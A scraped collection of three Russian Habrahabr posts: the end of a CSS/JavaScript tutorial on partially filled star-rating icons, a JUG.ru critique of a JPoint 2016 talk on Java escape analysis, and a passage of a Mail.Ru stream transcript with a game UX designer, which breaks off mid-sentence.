url(/images/starz.gif) 0 -62px no-repeat; height: 30px; position: absolute; } Всегда есть где разгуляться! Всё же, нам хотелось универсальный и масштабируемый вариант, полностью подчиняющийся BEM методологии . К тому же, в проекте нет ни одного спрайта и все иконки реализованы с помощью собственного набора иконок, бережно собранного в шрифт. Но, думаю, об этом мы поговорим в других статьях ;) В целом, мы пришли к эксперименту: а почему бы не наложить нашу шрифтовую иконочку поверх другой? Вот мы и сделали. Каждую звездочку сделали отдельным объектом, состоящей из .stars__out в качестве контейнера и .stars__in в качестве заливки. <div class="stars"> <!-- ... Полностью зарисованная иконка ... --> <i class="cfi cfi--star stars__out"> <i class="cfi cfi--star stars__in" style="width: 100%;"></i> </i> <!-- ... еще 3 повторения ... --> <!-- ... Иконочка зарисованная на 33% ... --> <i class="cfi cfi--star stars__out"> <i class="cfi cfi--star stars__in" style="width: 33.33%;"></i> </i> </div> А вот и CSS: .cfi.cfi--star { /* ... */ } /* наш аналог Font Awesome, который рисует звезду */ .stars__out { position: relative; margin-right: 5px; /* сделаем отступ между зведами */ color: grey; z-index: 1; } .stars__in { /* разместим ка мы нашу заливку как дочернюю основной иконки и кинем поверх */ position: absolute; z-index: 2; color: orange; /* дадим солнечного цвета */ font-size: inherit; /* и шрифту размер родителя */ /* блоку дадим точки отчета по нулям относительно родителя */ display: block; top: 0; left: 0; bottom: 0; /* ну и ограничим область видимости, а также ширину установим в 0 по умолчанию */ overflow: hidden; width: 0; } Все. Дальше, когда нам нужно залить на 100% (полная звездочка), мы просто даем ей CSS свойство width: 100% . А вот для неполных звездочек мы использовали еще одну хитрость. Мы ставим в ширину не x * 100% , а значение по специально рассчитанной формуле. Все дело в психологии. Нам свойственно визуально воспринимать процент заполнения в объеме, а не в ширине, а поскольку звезда слева и справа имеет весьма малую площадь, что усложняет восприятие, мы придумали заполнять ее по ширине нелинейно: Для нелинейной модели мы взяли синусоиду. Она как раз отлично описывает быстрое начало и окончание роста, и плавный рост в середине. Развернули ее, получив arсsin, ужали его в рамки {0; 1} по обеим осям и получили неплохую и простую формулу для расчета «психологической заполненности» звезды. Код на JavaScript: var y = Math.asin( 2 * x - 1 ) / Math.PI + 0.5; Как оказалось, такой принцип хорошо работает в старых браузерах, и даже ничего не ползет на IE9. Довольны были все: и дизайнеры, и заказчики, и даже мое Эго, что и побудило накатать статью. Искренне надеюсь, что кому-нибудь это понадобится :)
https://habrahabr.ru/post/318732/
habrahabr
Анализ доклада Руслана Черёмина с JPoint 2016
['презентация', 'jpoint2016', 'разбор']
Всем добрый день, с вами снова Роман Поборчий в блоге JUG.ru, и сегодня мы разбираем доклад Руслана cheremin Черёмина про escape-анализ и скаляризацию: Слайды можно посмотреть и скачать тут....
Всем добрый день, с вами снова Роман Поборчий в блоге JUG.ru, и сегодня мы разбираем доклад Руслана cheremin Черёмина про escape-анализ и скаляризацию: Слайды можно посмотреть и скачать тут . Традиционный disclaimer : про Java только разбираемый в статье доклад, а не сама статья. Сюжет Здесь у меня большая часть впечатлений — позитивные, всё, что, как мне кажется, в докладе обязательно должно быть, в нём есть. Предлагаемые изменения носят в основном косметический характер. Постановка задачи Не знаю, как вас, а меня Руслан вполне убедил, что полезно разобраться, как в Java работает escape-анализ. Если писать код с учётом этого знания, будет меньше объектов в куче, меньше gc и вообще мир будет лучше. Ответ на вопрос «зачем» есть. Тем не менее, шуточная картинка, которая появляется на 03:37, слегка затмевает статистику. После первого просмотра я запомнил только этот график и как раз хотел посетовать, что нет никаких цифр о том, сколько можно выгадать «в среднем случае». При втором просмотре оказалось, что цифры (~15% аллокаций, которые можно устранить) упоминаются. Если бы удалось найти и показать похожий «нормальный» случай, это бы лучше отложилось в памяти. Конечно, такие данные из своей практики найти на заказ не всегда просто, нет так нет. Выводы Выводы и рекомендации в докладе естественно следуют из логики рассказа, практически полезны и конкретны. Мы не просто понимаем, что надо делать «хорошо» (например, писать маленькие методы) и почему именно это надо делать. Мы ещё и выяснили, что у этого «хорошо» почти всегда можно узнать точную количественную меру и даже можно при необходимости её переопределить! Чего ещё желать для счастья? Разве что можно было бы зрителей предостеречь: что-нибудь обязательно сломается, если мы станем часто и бездумно переопределять дефолты компилятора, но это потребует примеров и времени и размоет фокус. Упущение Чего мне здесь не хватает, так это описания методики экспериментов: в первый раз результаты запусков появляются на слайде 16 (время 13:38), и там сразу фигурируют 12 run'ов, ограниченных не числом вызовов, а временем. Почему именно так? В этом есть какой-то смысл, или так исторически сложилось? Почему в одних случаях время 5 секунд (слайды 16, 17, 19 и несколько других), в других 3 (слайды 68, 73 и несколько других), а ещё в других и вовсе не указано (слайды 89, 90, 91)? Я уверен, что тут методику достаточно объяснить один раз, просто чтобы убрать возможное недоверие, и во всех последующих упоминаниях станут не нужны повторяющиеся детали, подробнее об этом в секции про слайды. На сцене висит ружьё Ружьё повесил не сам докладчик, удружил кто-то из зрителей выкриком с места, но, так или иначе, речь дважды зашла о Φ-функциях (в частности, полминуты начиная с 16:40). Компилятор — одна из тех вещей, для понимания которых нужны фундаментальные знания, но у нашей аудитории эти знания есть не всегда. Раз уж случился контакт двух-трёх понимающих , то стоило попробовать в общих чертах донести до всех, о чём же речь, чтобы они не чувствовали себя обделёнными. Я задумался, нельзя ли было на пальцах, раз подготовленных заранее слайдов нет, за минуту рассказать, что это за Φ-функции такие и какое примерно отношение они имеют к теме рассказа. Ориентируюсь на себя, то есть на уровень человека, двадцать лет назад сдавшего спецкурс по компиляторам и с тех пор работавшего с ними только как пользователь. В момент просмотра доклада я, конечно, не помнил, что это. Итак, смотрим на слайд 23 и пытаемся объяснить, что там происходит: Вот что у меня вышло: Внутреннее представление кода, применяемое в HotSpot JIT, соответствует требованиям static single assignment, SSA-form. Это значит, что в каждую переменную присваивание делается только однажды, а если мы куда-то пишем много раз, то компилятор у себя заводит новую версию этой переменной под каждую запись. Это нужно для очень большого числа оптимизаций, которые он проводит как раз над своим внутренним представлением. То есть в нашем коде v из if-ветки, v из else-ветки и v из return-statement'а с точки зрения компилятора — три разных переменных. Для случаев, подобных return-statement'у, как раз и нужны Φ-функции. Это такая абстракция, которая присваивает в переменную значение в зависимости от того, по какой ветке исполнения мы в данную точку пришли. Прелесть и смысл этой функции в том, что она используется без прерывания базового блока, хотя с точки зрения человеческой логики и содержит внутри условный оператор. Но функция, как и условный оператор, ненастоящие (собственно Φ — сокращение от слова «phony», фальшивый), такой разрешённый чит. Тем не менее, мы опытным путём видим, что эта конструкция блокирует escape-анализ, реализованный в JIT'е. Только текстом получается всё-таки довольно тяжело, но если готовиться заранее, то можно нарисовать схему и не бояться говорить про SSA-form: на уровне концепции это несложно. В реализациях наверняка много неочевидных деталей, и в некоторых аудиториях придётся делать ещё отступления, чтобы объяснить, кто такие внутреннее представление и базовый блок, но тем не менее. Если этот пост прочтёт настоящий компиляторщик, он, возможно, даже не снимая с полки свой зачитанный до дыр Dragonbook, укажет на ошибки и заодно объяснит, как правильно рассказывать. Слайды Следить за ходом рассказа легко, слайды в этом помогают. Если где-то есть много текста или большая выдача консольной утилиты, то интересные места подсвечены. Примеров с кодом достаточно много, и они по ходу рассказа сменяют друг друга всё быстрее, от этого немного устаёшь, но ничего критичного. К паре вещей всё же хочется привлечь внимание. Лазерная указка Те, кто читал предыдущий разбор , уже всё знают про использование лазерной указки. Выступление Руслана происходит в таком же широком зале с двумя экранами, как и у Сергея, и точно так же целеуказатель в каждый момент времени не видно примерно трети аудитории. В каждом конкретном случае слайд можно модифицировать, чтобы было сразу понятно, о чём идёт речь. Например, слайд 13 (появляется на 10:20) вылечить совсем просто: Здесь достаточно показывать не весь текст сразу, а последовательно открывать строчки по мере того, как до них доходит речь. Повторяющиеся элементы При просмотре выступления мне всё время хотелось что-нибудь сделать с количественными результатами экспериментов, которые в одном и том же формате встречаются на многих слайдах: Что с ними не так? Это много плотного текста, читать его, если бы захотелось так делать, трудно. Интересный момент наступает не между run'ами, а где-то внутри одного, обычно близко к началу первого. Поэтому результаты, сгруппированные по run'ам (типа 0.01 байта на итерацию) выглядят непривычно, хоть их и проще получить. Моментальную информацию об исходе эксперимента зритель получает из цвета. Это нормально, но может создать трудности людям с красно-зелёным расстройством цветовосприятия (а оно, как назло, самое распространённое). Как это упростить? Показательнее всего был бы график, где по оси X отложен номер вызова (сквозной для всех run'ов), а по оси Y — количество байт, аллоцированных в куче на этот вызов. В плохом случае график горизонтален, в хорошем — горизонтален первые сколько-то (тысяч) вызовов, а затем падает в ноль. Заодно из него было бы видно, насколько быстро включается оптимизация, как-то так: В таком виде интересно было бы проследить за динамикой происходящего с вероятностной функцией (слайды 98-91). Там график, скорее всего, должен быть какой-то интересный: Возможно, я чего-то не понимаю, и данные для такого графика, даже с натяжками, в принципе получить нельзя. Тогда можно попытаться сильно уменьшить размер run'ов и строить график по ним. Регулярные разборы Если вы хотите получить обратную связь по своему выступлению, то я с радостью вам её предоставлю. Что для этого нужно? Ссылка на видеозапись выступления. Ссылка на слайды. Заявка от автора. Без согласия самого докладчика ничего разбирать не будем. Всё это нужно отправить хабраюзеру p0b0rchy , то есть мне. Обещаю, что отзыв будет конструктивным и вежливым, а также осветит и положительные моменты, а не только то, что надо улучшать.
https://habrahabr.ru/company/jugru/blog/317536/
habrahabr
ТехноLive: Игрок и игра, интерфейс как связующее звено, Ольга Шуберт
['mail.ru', 'ТехноLive']
Мы продолжаем публиковать расшифровки наших трансляций о разработке игр. Как сделать игровой опыт максимально комфортным? Об этом расскажет UX/UI-дизайнер Игрового направления Mail.Ru Group...
Мы продолжаем публиковать расшифровки наших трансляций о разработке игр. Как сделать игровой опыт максимально комфортным? Об этом расскажет UX/UI-дизайнер Игрового направления Mail.Ru Group Ольга Шуберт, которая обладает девятилетним опытом разработки интерфейсов и игровых механик. Прошлые выпуски: Как продвигать свою игру среди тысяч конкурентов, Максим Самойленко Как создать успешную мобильную игру, Иван Федянин История игровой индустрии, Александр Кузьменко Видеозапись: https://youtu.be/dcmVUIOfy-A Александр Кузьменко: Добрый вечер, уважаемые зрители. В эфире «Технострим» и сегодня у нас заключительная часть нашей серии по видеоиграм. Сегодня у нас последний гость, но далеко не последний по важности, связанный с разработкой электронных игр — сегодня у нас в гостях Ольга Шуберт, специалист в UX-проектировании игровых проектов компании Mail.Ru Group. Извините, у нас у всех очень длинные должности. Ольга — самый главный человек в нашей компании, который разбирается в UX относительно к играм. Привет. Ольга Шуберт: Привет! А.К.: Слушай, UX — это нечто новое в игровой индустрии. Обычно начинают от сохи: «30 лет назад в Японии появилась индустрия видеоигр». Понятное дело, что UX тогда не существовало. У нас стримы с человечным подходом. То есть, мы не начинаем сразу сыпать технологическими терминами и так далее. Очень много людей, причем не только среди наших зрителей, но и среди просто людей или сотрудников нашей компании, которые любят игры, даже не знают, что такое UX. Ты можешь в двух словах сказать, что это такое? О.Ш.: Да, мне первым делом задают такой вопрос, когда я пытаюсь объяснить, кем я вообще работаю. Обычно говорят: «А, ты программист, наверное». Я говорю: «Нет» — «Но ты же компьютерщик». Я говорю: «Нет». А.К.: Сантехник по железу. О.Ш.: Да, примерно что-то такое. На самом деле, пока расскажу небольшую предысторию о том, как я вообще пришла в игровую индустрию. Как UX появился в моей жизни и потом плавно перейду к ответу на вопрос, если ты не против. А.К.: Это было как раз моим вторым вопросом. Отлично. Я обожаю таких гостей, которым даже вопросы можно не задавать. О.Ш.: Да. Я пришла в игровую индустрию 9 лет назад. Тогда на российском рынке было очень много игр, и тогда только-только появилась браузерная игра «Легенды наследия драконов». Я вообще не геймер, но кто-то случайно мне ее показал. Я так: «Что-что? Подождите». И меня она страшно зацепила. И так все пошло-поехало. Я стала играть, активничать на форуме и принимать живое участие в какой-то игровой социальной жизни. Я еще не работала здесь, но уже меня тянуло анализировать происходящее. Игровой рынок тянул меня в эту сторону. А.К.: Получается необычное явление. Обычно мальчики любят раскрывать мишку, чтобы посмотреть, как он устроен. И паровозик разбирают. О.Ш.: Да. Тут я, как мальчик, решила разобрать, и с этого все и началось. Какой-то игрок написал какие-то квесты на форум и предложил их разработчикам, как это обычно водится: «Сейчас я вам расскажу, как тут надо». И я написала здоровущую разгромную статью по этому поводу, что «Все у тебя здесь неправильно, все не так, все работает не так». К этому времени я уже тянулась сюда, написала письмо на свободную вакансию, что хочу работать писателем. Пришла писателем-редактором. К этому времени на форуме появляется разгромная статья, и во мне просыпается раскурочиватель мишек. С тех пор чем только я ни занималась. Путь мой был долог и тернист. Я занималась и разработкой квестов, и большими игровыми сценариями, и просто гейм-дизайном, администратором, продюсированием. А.К.: Я как раз хотел сказать, что перебрав все профессии в игровой индустрии, можно становиться продюсером. Теперь ты умеешь все. О.Ш.: Да. Потом я стала продюсером браузерной игры «Территория». Потом мы занимались оперированием. В общем, много чем занимались. И на протяжении этого пути я все еще тянулась к раскурочиванию мишек. Та-дам! Мне все еще хотелось понять суть вещей. И в это же время вместе со мной, как нельзя более удачно, стало развиваться UX-проектирование в играх. И я к этому прикоснулась довольно плотно несколько лет назад, когда стала заниматься разработкой мобильных игр. Поняла, что пора. Теперь плавно перехожу к вопросу, что же такое UX. А.К.: Что же такое UX? О.Ш.: Очень часто UX путают с UI. Считают, что это все связано с разработкой интерфейса как такового. На самом деле, все обстоит не так. UX — это сокращение от user experience. Если переводить на русский язык, то получится, что это изучение пользовательского опыта. То есть это разработка, которая построена на поведении пользователя, на его ожидании, на понимании этих ожиданий и на попытку соответствовать этим ожиданиям. А.К.: А UI — это user interface, это разработка непосредственно интерфейса. О.Ш.: Все так и есть. Стали разбираться, копаться. На самом деле, когда в наших продуктах разрабатывались интерфейсы, то они придумывались разными гейм-дизайнерами. Так уж получалось. Каждый гейм-дизайнер, пытался как-то визуализировать свои идеи, кто на что горазди. В результате что-то доходило до конечного пользователя. Но когда мы сравнивали наши продукты с топовыми зарубежными конкурентами, то качество уходило в пользу конкурентов. А.К.: Тогда уже были какие-то критерии сравнения? Или сравнивали так: понравилось, нет? О.Ш.: Ну, не столько понравилось… Ведь мы же говорим о пользовательском опыте. Поиграли в наше, поиграли в чужое, и стало очевидно, что тут вкуснее, здесь удобнее, здесь информативнее, здесь ничего нет лишнего. А у нас все еще какие-то устаревшие решения, взятые из браузерных игр. Конечно, анализировали это со всех точек зрения. Смотрели, как юзеры играют в наши и зарубежные продукты. И постепенно приходили к тому, что нужно выработать иную концепцию разработки. И, как выяснилось, этим уже занимаются наши зарубежные коллеги. В общем, стали изучать. Оказалось, что в России этим почти никто не занимается. У нас есть UX-лаборатории, совершенно потрясающие технологии, которые позволяют исследовать пользователя и его реакцию на происходящее. Но не каждый разработчик может себе это позволить, и не в каждую разработку можно это правильно внедрить. UX-проектирование предполагает итерационный подход к разработке. Что это значит? Тут хочется прояснить. Когда мы создаем продукт, то мы ориентируемся на его образ для конечного потребителя. На то, как эта сухая изначально идея, гейм-дизайнера, математика (который там занимается балансом), художников, будет соответствовать нашим ожиданиям. Как она будет решать какие-то наши бизнес-задачи, и как пользователь будет решать свои задачи, чтобы получить от этого удовольствие. А.К.: А нет ли в этом вечного противоречия? Зачастую, ты знаешь, как это бывает. Давай начнем с великих, например, Facebook. Все мы прекрасно знаем, что справа колонка нужна для того, чтобы пролистывая на iPad, ты тыкал постоянно пальцем в эту рекламу. Это бизнес-задача или это просто неправильно спроектированный интерфейс? Извини, что я тебя перебью. Ты очень интересно рассказываешь, но я периодически буду оживлять наш диалог какими-то вопросами, потому что Олю очень тяжело остановить, и у нее очень классные истории. И, кстати, я подсказываю, что у нас во время стрима идет чатик. Пожалуйста, используйте это не как место для выяснения, какой UX лучше, какие подходы, а для того, чтобы нашей замечательной гостье задавать вопросы. Итак, Оль, я тебя перебил. О.Ш.: Да, спасибо. А.К.: Извини. У тебя такой классный монолог, что я теперь помолчу еще минут 15. О.Ш.: Я могу рассказывать долго. Хочу сказать, что каждый разработчик принимает какие-то соответствующие решения в ту или иную сторону. Иногда он перетащит, чтобы себе было удобно, иногда по-другому. Но, как правило, все это происходит на стыке. UX-проектирование нужно для того, чтобы связать задачу разработчика и задачу пользователя. Это как раз золотая середина, которую нужно найти. По сути, интерфейс — это способ взаимодействия между разработчиком и конечным пользователем. А.К.: Это очевидно. О.Ш.: Но тут надо сказать, что тут очень часто путают подходы к разработке интерфейсов как таковых, разработке usability. Буквально недавно мы общались с одной из наших команд, и выяснилось, что разрабатывается какая-то гейм-дизайнерская идея, на основе нее гейм-дизайнер, а может быть, главный дизайнер команды формирует какой-то очень условный прототип, некую «рыбу». Дальше эта «рыба» отправляется к дизайнеру, он не понимает изначальную задачу, которую ставил перед собой гейм-дизайнер (автор этой какой-то макрофичи). Так до конечного пользователя доходит совсем не то что задумывалось. И это как раз то, что не решает задачи ни разработчика, ни пользователя. Вот почему очень важно чувствовать разницу между UX и UI. А.К.: Когда мы говорили про разницу UX и UI, то тут появлялось несколько вопросов сразу. Из чатика я зачитываю всякие провокационные вопросы или образовательные. Вот тут пишут, что зачем морочиться над разработкой интерфейса (в проектах не каких-то мега-инновационных), когда его можно, цитирую, «спереть у более успешных разработчиков»? О.Ш.: Спереть можно. Безусловно, research — очень важная штука. И я бы даже сказала, что очень вредно изобретать велосипеды. А.К.: Не украл, а вдохновился. О.Ш.: Совершенно верно. Очень вредно изобретать велосипеды, и тратить ресурсы на то, что уже сделано, готово, понятно. Еще раз выводить теорему Пифагора — дорогая задача, которая никому не нужна. А.К.: Проще купить учебник. О.Ш.: Тут совершенно точно. А.К.: Не проще ли спереть? О.Ш.: Спирая, нужно понимать, что мы спираем. У всех разработчиков — у хороших и у плохих, у больших топовых компаний, и у каких-то инди-разработчиков — есть плохие и хорошие решения. Я не смогу назвать ни одного продукта, который сделан идеально, что в нем нельзя найти ничего плохого. Всегда есть что-то плохое. И я всегда смогу это найти. И здесь нужно очень четко понимать, чем мы вдохновляемся. Если мы в чистую передираем чужой опыт без всякого понимания, то можно наломать дров из-за испорченного телефона. Если взять одни решения, и без понимания переложить их в другой продукт, то там они могут вести себя совсем иначе. Там могут быть другие пользователи, и пошло-поехало. В общем, получается какой-то снежный ком, и этим можно запороть продукт. Почему важно это делать? Мне часто задают вопрос: «А зачем вообще UX? Как-то все работает и без этого». Хочу сказать, что в этом заложено качество продукта. Вы можете потратить уйму денег на разработку, нанять самого классного в мире программиста, нанять просто гениального маркетолога, вложить тучу денег, кучу ресурсов… А.К.: А кнопку «включить» потом не найдете. О.Ш.: … да. В итоге кнопку «включить» у вас пользователи не найдут, не найдут банк, на поймут, как пользоваться вашей игрой. Этим можно испортить все усилия. А.К.: Ты же помнишь игры 15, 20, 30-летней давности. Первая игра была — это понять, как в это играть. Причем это было подано не в легком процессе обучения, а ты должен был пробираться через 1000 интерфейсов. Все было сделано на коленке, и никто не заботился о тебе. О, интересный вопрос. Тут его задают в рамках «Что такое UX?», но уже: «Как происходит UX-проектирование?», спрашивает нас Дмитрий Валыхин. Как происходит рабочий день у Ольги? Очень интересно. В UX-проектировании каким образом, какими процессами ты приносишь такую колоссальную пользу, как мы теперь выяснили? О.Ш.: На самом деле, это бесконечный процесс. Я всегда говорю о том, что ни одна задача UX-проектировщика не может считаться окончательно завершенной. Это камень преткновения, вечная серьезная головная боль линейного продюсера в проекте, потому ему хочется задачу завершить. Это входит в зону его ответственности. Я начала говорить про итерационный подход, и сейчас это немножко проясню. По идее, когда мы решаем задачу… К нам приходит гейм-дизайнер с каким-то ТЗ (талмудом документов), то есть он придумал и разработал какую-то фичу. И первый вопрос, на который нужно ответить — какие бизнес-задачи изначально мы решаем? Какие проблемы в проекте мы решаем этой фичей и что это даст пользователям? Как пользователи хотят это видеть? Очень важно не забывать вопрос о том, нужна ли реально эта задача. Иногда он актуален. А.К.: А можешь конкретный пример привести? О.Ш.: Бывает какой-то субъективный подход гейм-дизайнера. Он считает, что мы делаем рейтинги. Он считает, что в рейтинге есть какой-то сложный фильтр. То есть он сам играет, у него есть какая-то субъективная оценка. Он говорит: «Давай мы сюда впилим». Потом начинаешь разбираться в процессе, что нужно это только ему. Всем остальным это не нужно. Нужно понимать, что разработчики мыслят совершенно не так, как пользователи. Поэтому и нужна эта оценка. Нужна UX-экспертиза, потому что мы пытаемся навязать какие-то собственные паттерны пользователю, и он нас не понимает. Начали мы с задачи: «А что мы здесь делаем?». Бывают ситуации, когда я неделю смотрю в документы… Мне приносят такой документ, и я понимаю, что это гигантская задача. Первым делом ее нужно понять. Причем понять даже глубже, чем ее понимает гейм-дизайнер. Я ему задам 3 млн. вопросов, буду днем и ночью дышать ему в трубку. Сяду, как безумный профессор, обложусь бумажками и неделю буду смотреть в документ. Естественно, так происходит не всегда. Как правило, у нас очень живая и динамичная разработка. У нас нет времени, и все это нужно сделать очень быстро. Мы делаем бизнес-продукт, а не просто продукт для своего удовольствия. Но некоторые задачи требуют такого внимания и объема времени. Я сижу, вникаю в документ, молчу, а потом как задам поток вопросов, просто бесконечный. Когда я получу для себя все ответы на эти вопросы, то приступаю к проектированию. Я использую достаточно простые графические редакторы, какие-то инструменты прототипирования. Почему так? Многие меня спрашивают: «Какие инструменты ты используешь?». Никогда… А.К.: Хорошо с тобой общаться. Ты все банальные вопросы, которые я заранее подготовил, про инструменты и так далее, сама поднимаешь. Я, пожалуй, пойду. О.Ш.: Да-да-да. А.К.: Так что насчет инструментов? О.Ш.: Я не люблю советовать инструменты. Их много всяких — платных и бесплатных. Я очень много, но — у них ограничены библиотеки. Это все годится для каких-то неигровых проектов. А игра — это такой придуманный мир, где чаще всего используются какие-то дополнительные штуки, которых нет в библиотеке. И приходится полдня заниматься расширением библиотеки этого инструмента для того, чтобы сделать нормальный детальный прототип. Либо получится рыба — это условный прототип, где я условно визуализирую свою идею. Но в результате я не донесу ее до дизайнера. Он не сможет сделать то, что придумала я, и уж тем более то, что придумал гейм-дизайнер. Суть будет потеряна. Когда мы разрабатываем этот прототип, когда мы уже поняли, как все это визуально будет выглядеть, раскладываем предварительно информационную архитектуру. То что это значит? Мы понимаем, какие сценарии в рамках решения задачи есть у пользователя: что он будет делать, в какой последовательности, какие взаимосвязи могут быть между окнами, сколько окон нужно будет пройти, сделать этапов, и так далее. Когда мы все это поняли, то начинаем присваивать каждому окну какие-то конкретные задачи. Понимать, что «Вот-вот давайте еще сюда добавим вот это, потому что оно нужно для решения этой задачи, и хорошо бы это видеть перед глазами. А это давайте уберем. А тут давайте сократим. А это вообще сейчас отпилим, отрежем и больше не вспомним». Вся эта гигантская работа делается достаточно долго. Почему? Потому что в результате от этого зависит, поймет ли это юзер. На этапе прототипа, формирования информационной архитектуры мы проверяем на юзерах, понятны ли наши задумки. Насколько они правильны, гибки и насколько хорошо решают поставленную задачу. Вот наконец мы получили архитектуру прототипа. Обязательно проверяем, сверяемся с гейм-дизайнером. Надо сказать, что постоянная отсылка на каждом этапе работы — это постоянное возвращение к гейм-дизайнеру. Он автор идеи, он хранитель знаний в рамках одной фичи, и поэтому нужно с ним постоянно синхронизироваться. Вот мы выполнили задачу — визуализировали гейм-дизайнерскую идею, которую он пытался внести. А.К.: Тут немного уточню. В этом процессе ты не подменяешь собой гейм-дизайнера? То есть ты непосредственно с проектом общаешься в процессе? О.Ш.: Естественно. Я обязательно общаюсь с гейм-дизайнером. А.К.: Нет, я имею в виду с проектом. Ты играешь ли непосредственно в тот момент, когда…? О.Ш.: Обязательно. А.К.: Потому что, мало ли, может это специально сторонний подход. О.Ш.: Нет. Невозможно, не зная проект, внедрить в него какую-то отдельно взятую фичу. А.К.: Мы ответили сразу на несколько вопросов, которые только что были заданы. О.Ш.: Отлично. А.К.: Раз уж ты готова отвечать на вопросы, то я периодически буду прерывать твой монолог. О.Ш.: Да, пожалуйста. А.К.: У нас все-таки интерактив. Я напоминаю, что сегодня у нас в гостях Ольга Шуберт, специалист по UX-проектированию игровых проектов в игровом направлении Mail.Ru Group. То есть человек чрезвычайно исключительный на рынке, больше таких нигде не найдете. Как тебе такой вопрос от Юры Чумакова: «Есть ли что-то вроде сложившейся традиции в интерфейсах игр, зависящей от жанра, вида, может быть, движка?» О.Ш.: Да, разумеется, традиции есть. Это те самые паттерны, о которых я говорю. Причем очень важно с этими паттернами уметь работать. Пользователь, если он привык — мы же говорим о пользовательском опыте, — то он этот опыт уже где-то получил. В каких-то продуктах или используя какие-то платформы. Мы очень часто берем какие-то готовые платформенные решения, которые есть изначально. Обязательно смотрим на жанр, пытаемся понять, насколько хардкорна аудитория этого жанра, и насколько она готова к каким-то изменениям. Иногда бывает так, что нельзя выезжать все время на старых решениях. Иногда инновационный продукт требует инновационных подходов. И в этом случае нужно очень аккуратно проверять аудиторию, прощупывать ее на возможность каких-то нововведений, которые она может принять или не принять. Все это обязательно тестируется. На этапе, когда мы отдаем наш прототип гейм-дизайнеру, он уже протестирован. Мы уверены в том, что он будет правильно работать, и что он будет правильно воспринят конечным пользователем. Когда это отдается гейм-дизайнеру, то там уже все по полочкам. Мы знаем, что эта часть окна наиболее приоритетна. Она должна обладать такими-то, такими-то характеристиками. Здесь должно быть ярко, здесь подсвечено, а здесь задумана анимация. Почему все это важно держать в голове? Потому что когда человек делает отдельно взятое окно, то дизайнер просто визуализирует одно окно. Что в нем важно, что неважно, какая будет анимация, как это все будет озвучено, куда мы придем из этого окна дальше. В отрыве от всего этого дизайнер неспособен решить задачу правильно. Поэтому приходится изучать и пользователей, и чужие решения, и собственные какие-то наработки. Обязательно должен быть какой-то опыт, какая-то экспертиза проектировщика. Я очень часто вижу молодых разработчиков, общаюсь с молодыми командами, которые говорят правильные решения, но не обладают своей собственной экспертизой. Они плохо знают рынок, и в результате решение звучит правильно, но я знаю, что юзер его не скушает. Он его не поймет и не осилит. А.К.: Получается что-то слишком инновационное? О.Ш.: В общем, да. А.К.: Бывали ли случаи, когда интерфейсы были изобретены гораздо раньше и получили популярность? О.Ш.: Да, все так. Что значит слишком инновационное? Тут спорный вопрос. Нет слишком инновационного. Есть то, к чему пользователь готов или не готов в рамках какого-то конкретного продукта. А.К.: Слишком нейтрально все сказала. Например? О.Ш.: Можно экспериментировать где-нибудь в танках. Это более сложная игра, она где-то мидкор, где-то хардкор. Сравни, например, танки и какую-нибудь игру Match 3. А.К.: Например «Armored Warfare: Проект Армата» или «World of Tanks»? Или неважно что? О.Ш.: Неважно. Мы сравниваем аудиторию. Все совершенно разное. Хотя есть, наверное, есть пересечения где-то в возрасте от 30 до 40 лет. Когда некоторые мужчины любят повтыкать на телефон, но при этом не хотят иметь хардкор на телефоне. А.К.: Может быть, да. О.Ш.: Но при этом необязательно держатся за мидкор, потому что шарики можно по-разному рассмотреть. А.К.: Пересечение достаточно небольшое. Я убеждена, что какое-то пересечение есть, но оно небольшое. Что касается решений, то мы можем в танках сделать что-то сложное. Так мы поймем, что пользователь готов с этим жить, готов это осознать. И даже если что-то где-то не получилось, то он готов подумать и принять решения, которые мы ему предлагаем. Если то же самое происходит с Match 3, то пользователь предпочитает никак это не осознавать, не бороться с этим и не думать об этом. Ему проще сказать: «Ой-ой, что это? Я здесь ничего не понимаю», и быстро свалить из этой игры. Тут имеет значение усидчивость пользователя и его готовность к каким-то более сложным вещам. О.Ш.: Даже в рамках одного проекта, если говорить про мидкор, мы работаем с пользователями по-разному. Естественно, на младших уровнях. Мы даем самую что ни на есть казуальщину, насколько можно упрощаем процесс. А на более старших уровнях позволяем себе немножко разгуляться, расшатать этот механизм. И тут понимаем, что там юзер ведет себя иначе. Он уже привязан к игре, и знаком с ее основной частью, и поэтому какие-то новые более сложные вещи его не испугают. А.К.: До этого в разговоре у тебя прозвучала отличная фраза, что очень сложно применить какие-то готовые паттерны к инновационной вещи, абсолютно новой и не изобретенной. Мы поговорим не совсем про суперинновации, но этот вопрос очень интересный, особенно в рамках наших предыдущих «Теностримов» про игры. Спрашивает нас Юрий Дорофеев: «Есть ли кардинальные отличия UX у обычных игр и VR?» О.Ш.: Хороший вопрос, потому что я пока еще не разрабатывала VR-продукты. Но у меня есть по этому поводу некоторые соображения. Конечно, VR выглядит немножко иначе. В VR пользователь себя чувствует по-другому, поэтому здесь есть кое-какие отличия. А.К.: Знаешь, у нас был прошлый стрим с нашими разработчиками, нашими VR-ребятами. Они рассказывали, что самая страшная проблема — проблема прицела. На каком расстоянии он должен быть от тебя? 5 сантиметров, 10, 15? А если ты к стене упрешься, то где будет прицел? И они бьются целой лабораторией, потому что не могут решить эту проблему. О.Ш.: Я уверена, что они справятся с этой задачей. Но хочу сказать, что сейчас у VR огромные возможности с точки зрения даже не интерфейсов, а интерфейсов как среды взаимодействия. Есть огромные возможности, но все упирается в ощущения. Если бы можно было передать человеку какие-то тактильные ощущения… Например, он не просто подошел и нажал просто рукой за кнопку, а прямо взялся за ручку, повернул ручку, открыл дверь за ручку. Это привело бы нас к совершенно иному формату. И тут бы мы начали какой-то новый этап разработки, для которого еще решения не было. А.К.: Я бы даже больше сказал, что начался новый этап развития человечества, в случае появления таких технологий. О.Ш.: Да. А пока этого не произошло, и мы привязаны к технологии. Мы вынуждены ограничивать себя. Очень многие решения в VR взяты из привычной нам разработки, из привычных нам проектов, но существуют нюансы. Ты сам знаешь, что здесь возможностей больше. А.К.: Дмитрий Грязин задает нам логичный вопрос: «Каким образом вы проверяете идеи, рыбы, прототипы на пользователях? Как часто это стоит делать в случае разработки своего проекта?» О.Ш.: Начну с конца, как я люблю. А.К.: И об инновациях. О.Ш.: И об инновациях, да. Как часто — это вопрос очень хитрый. Все зависит от проекта, сроков. Если разработка идет в спокойном режиме, то можно себе позволить разогнаться, протестировать от души. А.К.: И где же идет такая разработка? О.Ш.: В какой-то сказочной игре. А.К.: Я слышал что-то про компанию Blizzard. Но мне кажется, это все рассказывают. О.Ш.: Да я думаю, что у них тоже не все так просто. А.К.: Это только витрина, мне кажется. О.Ш.: Да. В общем, в какой-то сказочной стране можно разогнаться и 